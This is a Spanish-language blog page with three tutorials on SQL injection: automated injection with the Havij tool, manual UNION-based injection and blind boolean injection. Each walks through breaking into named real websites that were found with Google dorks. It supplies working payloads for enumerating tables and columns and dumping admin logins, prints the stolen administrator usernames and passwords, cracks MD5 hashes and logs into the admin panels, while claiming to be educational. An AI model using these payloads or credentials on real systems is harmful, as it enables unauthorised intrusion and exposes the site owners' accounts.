Mostrando entradas con la etiqueta SQLi. Mostrar todas las entradas
Mostrando entradas con la etiqueta SQLi. Mostrar todas las entradas

SQLi Automatizado con Havij


Introduccion

Hola a todos, soy ANTRAX. En este tutorial les voy a enseñar a como automatizar SQL Injections.
Utilizare una herramienta llamada Havij, que automatiza todos los pasos. Desde inyectar, hasta obtener usuario y pass, y hasta el panel de admin.
Havij es una herramienta muy cómoda que hace ahorrar mucho tiempo.
De forma simple, en este paper les enseñare como usarlo para sacarle provecho.


Esa es su apariencia, con su menú. Como se puede ver, también desencripta los hash de admines utilizando bases de datos online [MD5]

Analizando una web

El primer paso será ver si una web es vulnerable o no. Para este tutorial usare la misma web que use en el tutorial anterior: www.samg.es/web


Como bien vimos en la parte anterior “SQLi desde Cero” Debemos buscar algo que tenga un “id=X” para poder inyectar desde ahí.
Pruebo como lo hacía en el paper anterior de cambiar el numero del id por -1 o comilla simple. Y al parecer es vulnerable:


Bien, ahora que sospechamos que es vulnerable, la probaremos con Havij.


Colocamos únicamente que la url en donde vamos a inyectar incluyendo el ID y presionamos en Analyze.
Ahora solo toca esperar… En caso de que sea vulnerable, nos mostrara el nombre de la base de datos con sus tablas.

Base de datos, tablas y datos

Una vez que termine, veremos que se habilita la opción de tablas y a demás en el Status, nos muestra el nombre de la base de datos:


 
Presionamos sobre el botón Tables


Antes de seguir, me detengo un momento aquí para explicarles un poco lo que se ve en la imagen.
Este maravilloso programa, tiene la facilidad de mostrarnos datos importantes solo con unos clicks del mouse…
Este programa esta ordenado de cierta forma, y hay que seguir el orden de izquierda a derecha.
Lo que muestra ahora la imagen, es el nombre de la base de datos, lo que sigue, es clickear el botón de su derecha “Get Tables” para obtener los nombres de todas las tablas


Como se puede apreciar, me listo todas las tablas la base de datos. En ese listado, debemos buscar alguna tabla que pueda contener datos de interés. En mi caso se llama samg_administradores
Una vez seleccionada, presionamos el siguiente botón que es Get Columns para que nos muestre las columnas de esa tabla


Seleccionamos las columnas que más nos interesen, yo solo quiero user y pass. Una vez tildados, damos en Get Data para obtener los datos de los administradores


Como se puede ver, ahí me muestra el usuario y contraseña de admin. Lamentablemente no es la misma del tutorial anterior, ya que algún tonto sin ética entro y lo modifico…

Panel de admin

Finalmente buscaremos el panel de administración para loguearnos y podes entrar con los datos recientemente sacados.
Para ello, Havij cuenta con un Admin Finder, que es el botón Find Admin. Presionamos ahí y colocamos la url de la página:


Damos en Start y esperamos a que nos muestre la url del panel:


Probamos si es esa y colocamos los datos obtenidos:

 


Y estamos adentro!!

MD5 Decrypter

Pero… ¿qué pasa si me muestra el usuario y la contraseña esta encriptada?


Acá se puede ver que las pass están en MD5.
Havij cuenta con un decrpyter. Damos click en la llavecita que dice MD5, colocamos el hash y esperamos a que busque en bases de datos online hasta que lo encuentre:


Como se puede ver, la pass es atencao

Despedida:

Bueno, esto es todo por ahora, espero que les haya gustado y nos vemos en un próximo tutorial.

SQL Injection desde cero


Introducción:

Hola a todos, En este tutorial les enseñare SQLi desde cero.
Al ser un tutorial con fines educativos y no destructivos. Solamente veremos cómo obtener el usuario y contraseña de administrador. El resto corre por cuenta de cada uno lo que quiera hacer con el acceso…
Se comenzara buscando una web cualquiera en google, buscaremos un lugar en la web para inyectar, haremos la inyección y obtendremos los datos de acceso. Pero antes comenzaremos con un poco de teoria.

SQL

Es un lenguaje normalizado, estructurado de consultas a bases de datos. Esto quiere decir, que en casi todas las consultas a distintos tipos de bases de datos, se usan las mismas sentencias.
SQL, cuenta con dos comandos, que son los DLL (permiten crear y definir bases de datos, campos e índices) y por otro lado los comandos DML (permiten generar consultas, filtrar y extraer datos de la base de datos).
Nos centraremos en ese último, ya que SQLi, consiste en generar consultas a la base de datos para que nos devuelva datos de interés.
Los comandos DML son:

Delete: Permite eliminar registros de la base de datos.
Update: Modifica valores de campos previamente creados.
Select: Sirve para consultas registros en la base de datos.
Insert: Carga lotes de datos en una base de datos.

Clausulas

Las clausulas son condiciones de modificación. Y se emplean para definir datos o manipularlos.
Entre las clausulas tenemos:

Order By: Ordena registros seleccionados
Group by: separa registros
Having: expresa una condición que debe satisfacer cada grupo
From: Sirve para especificar una tabla de la cual se quieren obtener registros
Where: Sirve para las condiciones que debe reunir un registro para ser seleccionado

Operadores Logicos

Los operadores lógicos o conectivos lógicos se utilizan para conectar dos formulas para que el valor de verdad. Siempre darán un valor de verdad verdadero o falso y se leen de izquierda a derecha.
Los operadores lógicos usados son:

Or: Evalua dos condiciones, devolviendo un valor de verdad verdadero si alguna de las dos es verdadera
And: Evalua dos condiciones y devuelve un valor de verdad verdadero, si ambas condiciones son iguales.
Not: Devuelve un valor contrario a la expresión. Si la expresión es True, devolverá False y viceversa

Operadores de comparación:


Los operadores de comparación, son utilizados para comparar dos valores o formulas.
Los operadores son:

< Menor que > Mayor que
<> Distinto que
>= Mayor o igual que
<= Menor o igual que
Between: especifica un intervalo de valores
Like: Compara un modelo
In: Especifica registros en una base de datos

Funciones de agregado

Estas formulas se utilizan dentro de la clausula Select en grupos de registros para devolver un único valor que se aplica en un grupo de registros.

Max: devuelve el valor más grande de un campo específico
Min: Devuelve el valor más chico de un campo especifico.
Sum: Se utiliza para devolver la suma de todos valores de un campo específico
Avg: calcula el promedio de un campo específico Count: Devuelve el numero de registros de la selección Limit: devuelve un rango de resultados deseados en lugar de todos los que puede devolver dicha consulta.

Otras consultas

Veremos a continuación otras consultas que se suelen utilizar en las inyecciones SQL.

Union: Sirve para combinar el resultado de dos consultas juntas.
Information_schema.tables: Devuelve información de una tabla determinada
Information_schema.columns: Devuelve información de una columna determinada
Concat: Concatena los resultados de varios campos diferentes
Group_concat: devuelve como resultado una cadena de concatenación de un grupo de valores no nulos Char: se utiliza para insertar caracteres de control en cadenas de caracteres. 

SQLi

Este tipo de ataque consiste en inyectar código SQL en una sentencia SQL ya programada, con el fin de alterar el funcionamiento de la base de datos.
Lo que haremos a lo largo de este tutorial, será inyectar código SQL a una web, con el fin de ocasionarle errores a la base de datos para que nos devuelva datos que usaremos en nuestra inyección y finalmente obtener los datos de acceso al panel de administración.

Dorks:

Los Dorks son palabras claves que usaremos para encontrar sitios vulnerables.
Un ejemplo de dork seria el siguiente: noticia.php?id=
En google deberíamos poner lo siguiente: inurl: noticia.php?id=
Esto nos arrojara muchos resultados de sitios que quizás ya no sean vulnerables. Pero es por eso que debemos ir alternando Dorks, hasta que logremos dar con una.
El método para generar dorks seria cambiar el noticia por otro nombre, por ejemplo news, view, photo, etc. Y el resto quedaría igual.
Otra de las cosas a tener en cuenta, es que después de realizar la búsqueda, ir a las páginas del final que son las que más desactualizadas están y probablemente sean vulnerables.
Veremos a continuación un ejemplo:


Coloco el Dork en google y comienzo a navegar, buscando webs que puedan llegar a ser vulnerables. Yo encontré esta:


Como se puede ver, ahí en la url aparece el dork que coloque en google

Pero… ¿cómo me doy cuenta si es o no vulnerable?

Acá empieza la parte entretenida. Lo que debemos hacer es borrar lo que esta después de id= y provocar un error en la base de datos.

¿Y de qué forma podemos provocar un error?

Fácil… colocando caracteres no permitidos, por ejemplo una comilla, un numero negativo, etc. Colocare un -1 (uno negativo) y veremos cómo se comporta la web

Pagina original:


Pagina con el -1:


Se puede notar que no han cargado elementos dentro del cuerpo de la página, esto da señal a que puede ser vulnerable.
Ahora probemos colocando una comilla:


Nos tira un error de la base de datos:
Fatal error: Call to a member function RecordCount()
on a non-object in /home/samg/public_html/include/objetos/Noticia.class.php
on line 333
Con esto podemos ver que pudimos generar un error en la consulta a la base de datos.

SQL Injection

Ahora probaremos si realmente es vulnerable o no a SQLi. Para ello, después del id= colocaremos lo siguiente:
-1+UNION+SELECT+1,2--

Y en mi caso, en el cuerpo de la página, me sale el mismo Fatal error que cuando ingrese la comilla simple.
Lo que debemos hacer ahora, es comenzar a añadir números, hasta que ese error desaparezca.

La inyección seria así:
-1+UNION+SELECT+1,2,3--
-1+UNION+SELECT+1,2,3,4--
-1+UNION+SELECT+1,2,3,4,5--
Y asi sucesivamente hasta que el error desaparezca. En mi caso quedo hasta el numero 12, pero hay ocasiones en las que puede superar los 60!


Cuando el error ya no este, nos volverá a mostrar la pagina, y curiosamente contiene uno o mas  números en el cuerpo de la web


Ese 5 y ese 2, son números de tablas, la web es vulnerable a SQLi. En este caso debo elegir uno de los dos números, yo seleccionare el 5 por que es el mas vistoso, pero en definitiva se puede usar cualquiera.
Usare a ese 5 para que me muestre los nombres de las tablas en su lugar.
Lo que sigue ahora es agregar después del último número de la url el siguiente código:
+from+information_schema.tables--
Quedaría en mi caso, así:


Y reemplazar el número 5 (que fue el numero que nos apareció en el cuerpo de la pagina) por table_name


Una vez hecho esto, presionamos enter y veremos que en el cuerpo del mensaje nuestro numero desapareció y apareció el nombre de una tabla en su lugar.


Lo que debemos hacer ahora, es agregar después de information_schema.tables lo siguiente:
+limit+2,1--

Quedaría algo así:


Y si miramos el cuerpo del mensaje, el nombre de la tabla, cambió


Lo que sigue, es ir sumándole +1 al limit para que valla de forma creciente, hasta encontrar una tabla que pueda contener los datos del administrador de la página
El limit debería ir de la siguiente forma:
+limit+2,1--
+limit+3,1--
+limit+4,1--
+limit+5,1--
Y así sucesivamente hasta hallar una tabla importante. En mi caso llegue hasta la 38 y encontré la de administradores.


Lo que sigue, es convertir ese nombre a ASCII. Asique buscaremos en google algún conversor de string a ascii.


El resultado de samg_administradores es el siguiente:
115 97 109 103 95 97 100 109 105 110 105 115 116 114 97 100 111 114 101 115
Ahora sacaremos los espacios que hay entre los números y colocaremos comas entre los valores:
115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115
Guardaremos esa cadena de números para usarla luego en nuestra inyección.
Ahora volvemos a nuestra inyección y cambiaremos table_name por group_concat(column_name) y information_schema.tables por
information_schema.columns+where+table_name=char(115,97,109,103,95,97,100,109,105,11
0,105,115,116,114,97,100,111,114,101,115)--
y quitamos el +limit+ con sus valores numéricos.

Debería quedar así:
http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name)
,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(115,97,109,
103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--
Si observamos, el cuerpo de la página, veremos la composición de las columnas de la tabla


Las que me sirven en mi caso son las columnas de Login y Password, asique ahora reemplazaremos en la inyección lo siguiente:
group_concat(column_name) por concat(Login,0x3a,Password)
Concat significa concatenar, algo similar que unir. Y el 0x3a, son dos puntos. Esto es para que el usuario y la contraseña no aparezcan juntas, sino que los separe los dos puntos. Teniendo un resultado algo así:

Usuario:Contraseña

Y borraremos desde information_schema.columns en adelante y dejaremos solamente el +from+
Y luego de ese from, colocamos el nombre de la tabla, que en mi caso se llamaba: samg_administradores
Quedándome lo siguiente:


Y en el cuerpo de la página, podremos ver los datos del administrador:

Usuario: samg
Contraseña: samg06
En caso de querer hackear la web, solo resta encontrar el panel de admin con algún admin finder. Pero como dije al principio del tutorial, este paper es con fines educativos.
Espero que les haya gustado y que les sea útil.

Blind SQLi desde cero [SQLi a ciegas]

Introducción:
Hola a todos los lectores, en este Nuevo paper vamos a ver la Blind SQLi, como es, para que sirve y como emplearla. Intentare explicarlo lo mejor posible y con un ejemplo para que puedan guiarse mejor. Aclaro que este tutorial está hecho con fines educativos y no destructivos. No me hago responsable del mal uso que puedan darle.

¿Qué es Blind SQLi?
Blind SQLi o Ataque a ciegas por SQLi es otro método o alternativa a la tradicional SQLi, es utilizada cuando la web no tira ningún tipo de error ya que los webmasters han quitado la o desactivado el SHOW_WARNINGS y SHOW_ERRORS que son los encargados de imprimir errores en pantalla cada vez que se hace una petición errónea a la base de datos pero si podemos comprobar datos por medio de verdaderos o falsos y a lo largo de este paper veremos a que se refiere con esos verdaderos y falsos. El nombre Blind SQLi o SQLi a ciegas hace referencia a que los nombres de las tablas y demás datos que saquemos, lo haremos adivinándolo ya que no mostrara ningún error en pantalla.
Para este paper usaremos la siguiente url como ejemplo: http://digitaria.net


Como se puede ver, es de alguien que diseña websites, vamos a ver que tal es el servicio que ofrece…
Para saber si es o no vulnerable, debemos buscar algún sitio en donde haga peticiones a la bd para poder inyectar. Yo probare usando esto: http://www.digitaria.net/noticia.php?id=25


Para probar si la web es vulnerable o no, vamos a aplicar intentar ver si nos arroja esos verdaderos o falsos de los que hablamos anteriormente.
Lo que debemos hacer es añadirle a la url esto:

AND 1=1    >> Verdadero
AND 1=0    >> Falso


O sea que si tenemos la url: http://www.digitaria.net/noticia.php?id=25
Para el caso verdadero seria: http://www.digitaria.net/noticia.php?id=25 AND 1=1
Para el caso falso seria: http://www.digitaria.net/noticia.php?id=25 AND 1=0
Veamos como afecta esto en la visualización de la página…
Verdadero:


Falso:


Como se puede ver, el caso falso no carga nada…
Existen variables al AND como lo es el having

Verdadero >> Having 1=1
Falso >> Having 1=0

Entre otros… Pero nosotros usaremos el AND para no complicarnos tanto…
Ahora vamos a buscar el nombre de alguna tabla de la cual podamos obtener datos que a nosotros nos interese. En este caso, yo quiero encontrar alguna tabla de usuarios o administradores para poderme loguear.
Comencemos…
A nuestra url le vamos a añadir:

AND (SELECT(COUNT(*)) FROM usuarios);

Debería quedar así:

http://www.digitaria.net/noticia.php?id=25 AND (SELECT(COUNT(*)) FROM usuarios);

El COUNT sirve para realizar un contador con el número de filas que tenga una tabla.
Con esto haremos la consulta para saber si la tabla usuarios existe o no


Falso… Debemos seguir probando, hasta que algún nombre que coloquemos de verdadero.
Después de probar varias veces, logre dar con el nombre de la tabla que tiene información valiosa. El nombre de esta tabla es admin y como se ve en la imagen, me volvió a mostrar el contenido, esto quiere decir que es Verdadero.


Ahora veremos cuantos registros tiene esta tabla. O sea cuantos usuarios admines tiene esta página. Para ello, modificaremos un poco lo que colocamos anteriormente por esto:

AND (SELECT(COUNT(*)) FROM admin) > 7
Esto quiere decir que hay más de 7 admines

AND (SELECT(COUNT(*)) FROM admin) < 7
Menos de 7 admines

AND (SELECT(COUNT(*)) FROM admin) = 7
Hay 7 admines

En mi caso me dio Verdadero el Segundo caso… Hay menos de 7 admines.


Sigo probando bajando la cantidad, hasta que finalmente puedo adivinar cuantos registros hay.
En este caso solo hay 1 solo admin. Si coloco:

AND (SELECT(COUNT(*)) FROM admin) = 1
Me dará Verdadero

Lo que sigue ahora, es buscar los nombres de las columnas para ello inyectaremos lo siguiente:

AND (SELECT(COUNT(name)) FROM usuarios)

En donde “name” será el nombre de la columna que intento adivinar


Falso…
Después de probar varias veces, llegue a que el nombre de una de las columnas se llama “user”


Ahora deberíamos seguir probando, hasta dar con el nombre de la columna de la tabla que contiene las contraseñas, ids, entre otras que pueden ser de valor para nosotros... Después de probar con varios nombres como password, passwords, clave, etc… llegue al punto en que me dio verdadero al colocar “pass” y también al colocar “cod”

AND (SELECT(COUNT(pass)) FROM admin)
AND (SELECT(COUNT(cod)) FROM admin)


Hasta ahora ya tenemos el nombre de la tabla del admin, y el de la columna de id o código, usuario y contraseña.
Ahora veremos como saber que longitud tiene el usuario y la contraseña, esto lo hacemos para saber cuantos caracteres tiene el user y la pass.
Como sabemos que hay 1 solo admin, podemos probar poniendo esto:

AND (SELECT length(user) FROM admin where cod=1) < 7

Explico la línea, Length sirve para saber la cantidad de caracteres que tiene, en este caso la columna user. En donde el cod sea 1. Traducido de forma más fácil, lo que hace esta línea es ver si el usuario tiene menos de 7 caracteres. Y en este caso me da falso…


Probare cambiando el signo de lado

AND (SELECT length(user) FROM admin where cod=1) > 7

Para saber si la contraseña tiene más de 7 caracteres, y nuevamente me da falso… esto quiere decir solo una cosa… que la contraseña tiene 7 caracteres. Asique probare poniendo:

AND (SELECT length(user) FROM admin where cod=1) = 7

Y como se puede ver… VERDADERO!!


Con esto ya sabemos que el usuario tiene 7 caracteres. Ahora restaría ver cuantos caracteres tiene la contraseña… La inyección es la misma que la que usamos, solo que modificamos user por pass
En mi caso, me dio verdadero que esta inyección:

AND (SELECT length(pass) FROM admin where cod=1) = 7
Tanto el user como la pass tienen 7 caracteres.

Una vez obtenido todos estos datos, podemos pasar a adivinar los datos que contiene cada uno.
Para ello se utiliza la siguiente inyección.

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=97

Ahora explico la linea, lo que hace esta inyección es verificar si la primer letra del usuario empieza con “a”. ¿En dónde me fijo esto? En la siguiente tabla:


Ahí vemos que el 97 corresponde a la letra a.
Seguimos probando, hasta que nos dé Verdadero.
Después de probar un rato, llegue a que comienza con “G”

AND ascii(substring((SELECT user FROM admin where cod=1),1,1))=71


Para pasar al segundo carácter del usuario, debemos cambiar el ,1,1 por ,2,1 Esto sería como decir, el segundo carácter del primer registro. En mi caso me dio verdadero al probar con la letra “r”

AND ascii(substring((SELECT user FROM admin where cod=1),2,1))=114

Una vez que hayamos adivinado todos los caracteres que posee el usuario, hacemos lo mismo pero con la contraseña modificando el “user” por “pass” por ejemplo:

AND ascii(substring((SELECT pass FROM admin where cod=1),1,1))=103

Debemos ir probando carácter por carácter, hasta volver a obtener todos, Recuerden ir cambiando el ,1,1 por la posición que desean comprobar.
Una vez que finalicen, tendrán el usuario y la contraseña. En mi caso:

User: Gregory
Pass: geg*12a


Ahora si buscamos el panel de admin y probamos los datos:


Y… Estamos adentrooo!!


Bueno, esto fue todo por ahora, espero que hayan podido entender cada uno de los pasos y que les haya resultado útil para aprender la inyección a ciegas.

Autor: ANTRAX